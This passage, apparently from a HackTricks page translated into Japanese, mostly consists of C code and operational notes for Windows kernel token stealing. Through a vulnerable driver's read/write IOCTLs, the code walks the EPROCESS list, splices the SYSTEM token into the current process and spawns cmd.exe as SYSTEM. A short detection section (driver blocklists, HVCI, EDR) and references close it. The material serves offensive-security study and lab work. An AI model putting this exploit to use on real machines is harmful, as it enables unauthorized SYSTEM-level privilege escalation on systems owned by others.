if ((DWORD)pid == myPid) { EPROC_ME = cur; break; }
uint64_t flink; kread_qword(h, cur + Off_EPROCESS_ActiveLinks, &flink);
cur = flink - Off_EPROCESS_ActiveLinks; // CONTAINING_RECORD
} while (cur != EPROC_SYS);
// 4) Read tokens
uint64_t tok_sys, tok_me;
kread_qword(h, EPROC_SYS + Off_EPROCESS_Token, &tok_sys);
kread_qword(h, EPROC_ME + Off_EPROCESS_Token, &tok_me);
// 5) Mask EX_FAST_REF low bits and splice refcount bits
uint64_t tok_sys_mask = tok_sys & ~0xF; // or ~0x7 on some builds
uint64_t tok_new = tok_sys_mask | (tok_me & 0x7);
// 6) Write back
kwrite_qword(h, EPROC_ME + Off_EPROCESS_Token, tok_new);
// 7) We are SYSTEM now
system("cmd.exe");
return 0;
}
```
注意:
- Offsets: ターゲットの PDBs、またはランタイムのシンボルローダーとともに WinDbg の `dt nt!_EPROCESS` を使用して正しいオフセットを取得してください。盲目的にハードコードしないでください。
- Mask: x64 では token は EX_FAST_REF です; 下位 3 ビットは参照カウントビットです。token の元の下位ビットを保持することで即時の参照カウント不整合を避けられます。
- Stability: 現在のプロセスを昇格させることを優先してください。短命なヘルパーを昇格させると、そのプロセスが終了した際に SYSTEM を失う可能性があります。
## 検出 & 対策
- 強力な IOCTL を公開する署名されていない、または信頼できないサードパーティ製ドライバのロードが根本原因です。
- Kernel Driver Blocklist (HVCI/CI)、DeviceGuard、および Attack Surface Reduction ルールは脆弱なドライバのロードを防止できます。
- EDR は arbitrary read/write を実装する疑わしい IOCTL シーケンスや token の入れ替えを監視できます。
## References
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
- [FuzzySecurity Windows Kernel ExploitDev (token stealing examples)](https://www.fuzzysecurity.com/tutorials/expDev/17.html)
{{#include ../../banners/hacktricks-training.md}}